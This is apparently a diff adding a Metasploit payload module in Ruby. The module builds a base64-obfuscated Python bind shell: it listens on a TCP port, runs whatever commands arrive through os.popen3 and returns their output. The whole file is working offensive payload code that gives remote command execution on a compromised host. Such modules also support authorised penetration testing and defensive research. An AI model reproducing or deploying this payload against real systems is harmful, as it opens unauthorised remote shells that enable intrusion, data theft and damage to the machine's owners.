|
| 1 | +require 'msf/core/handler/bind_tcp' |
| 2 | +require 'msf/core/payload/python' |
| 3 | +require 'msf/base/sessions/command_shell' |
| 4 | +require 'msf/base/sessions/command_shell_options' |
| 5 | + |
| 6 | +module MetasploitModule |
| 7 | + |
| 8 | + CachedSize = 401 |
| 9 | + |
| 10 | + include Msf::Payload::Single |
| 11 | + include Msf::Sessions::CommandShellOptions |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(merge_info(info, |
| 15 | + 'Name' => 'Command Shell, Bind TCP (via python)', |
| 16 | + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design', |
| 17 | + 'Author' => 'mumbai', |
| 18 | + 'License' => MSF_LICENSE, |
| 19 | + 'Platform' => 'python', |
| 20 | + 'Arch' => ARCH_PYTHON, |
| 21 | + 'Handler' => Msf::Handler::BindTcp, |
| 22 | + 'Session' => Msf::Sessions::CommandShell, |
| 23 | + 'PayloadType' => 'python', |
| 24 | + 'Payload' => |
| 25 | + { |
| 26 | + 'Offsets' => { }, |
| 27 | + 'Payload' => '' |
| 28 | + } |
| 29 | + )) |
| 30 | + end |
| 31 | + |
| 32 | + def generate |
| 33 | + super + command_string |
| 34 | + end |
| 35 | + |
| 36 | + def command_string |
| 37 | + cmd = '' |
| 38 | + dead = Rex::Text.rand_text_alpha(2) |
| 39 | + # Set up the socket |
| 40 | + cmd << "import socket,os\n" |
| 41 | + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" |
| 42 | + cmd << "so.bind(('#{datastore['RHOST']}',#{ datastore['LPORT']}))\n" |
| 43 | + cmd << "so.listen(1)\n" |
| 44 | + cmd << "so,addr=so.accept()\n" |
| 45 | + cmd << "#{dead}=False\n" |
| 46 | + cmd << "while not #{dead}:\n" |
| 47 | + cmd << "\tdata=so.recv(1024)\n" |
| 48 | + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" |
| 49 | + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" |
| 50 | + cmd << "\tso.send(stdout_value)\n" |
| 51 | + |
| 52 | + # base64 |
| 53 | + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" |
| 54 | + cmd |
| 55 | + end |
| 56 | +end |
0 commit comments